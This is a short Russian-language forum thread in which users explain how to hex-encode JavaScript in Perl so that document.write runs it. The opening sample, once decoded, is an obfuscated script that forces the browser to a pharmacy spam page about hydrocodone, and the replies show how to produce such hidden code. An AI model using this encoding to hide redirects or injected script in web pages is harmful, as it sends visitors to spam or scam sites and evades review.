JS шифрование данных
 

<script language="javascript">document.write("\x3C\x73\x63\x72\x69\x70\x74\x20 \x6C\x61\x6E\x67\x75\x61\x67\x65\x3D\x22\x6A\x61\x76\x61\x73\x63\x72\x 69\x70\x74\x22\x3E\x74\x6F\x70\x2E\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x2E \x68\x72\x65\x66\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x73\x6D\x61\x72\x 74\x77\x65\x62\x73\x65\x61\x72\x63\x68\x69\x6E\x67\x2E\x63\x6F\x6D\x2F \x70\x68\x61\x72\x6D\x2F\x72\x65\x70\x6F\x72\x74\x2E\x70\x68\x70\x3F\x 71\x3D\x68\x79\x64\x72\x6F\x63\x6F\x64\x6F\x6E\x65\x22\x3B\x3C\x2F\x73 \x63\x72\x69\x70\x74\x3E");</script>
ЭТо зашифрованный скрипт.
Вопрос: В каком виде тут представлены данные, и как можно получить такую строку в Perl ?

обычные ASCII-кода обычных букв... только в hex

У меня большой скрипт написан на перле, переписывать его не пхп лом. А в скрипте есть необходимость получать такие строки как я указал вверху..пока такой функции не нашел..-(

printf("%x", ord(CHAR))

ну, или что-то в этом роде - синтаксис уже сам поправь

print ord($char);

в перле

функция ord возвращает код только первого символа поэтому,
Делаю вот так:
@wer=split(//, 'alert("roco-boroco JavaScript");'); # разбиваю строку на символы помещаю в массив.

for($i=0; $i<@wer; $i++) { #здесь понятно что..

$wer[$i] = ord ("$wer[$i]");
}
print @wer; выводит:97108101114116409234114111991114598111114111991113274971189783 9911410511211692344159
не похоже на строку которая вверху топика..
и document.write её не расшифровывает..
тут как то по другому нужно..?-(

это ты получил код в 10-й системе; а тебе надо получить его в 16й

попробуй это
$wer[$i] = sprintf("\\x%02x", ord ("$wer[$i]"));

уже лучше, только сейчас document.write выводит команды в броузер, а должен их интерпретировать. Тобишь команда alert("roco-boroco JavaScript"); просто печатается в броузер именно в таком виде, а должно появится окно с надписью roco-boroco JavaScript
eval(unescape(); # вот эта конструкция работает выполняет команду, но как сделать что бы с document.write все работало?

А вот и ответец извольте:
<script language="javascript">тут команда js</script> # (это все шифрумем с помощью перл)
<script language="javascript">document.write("сюда вставляем зашифрованые данные");</script> и вуаля все ок...-)

заключи alert("roco-boroco JavaScript") в <script> тег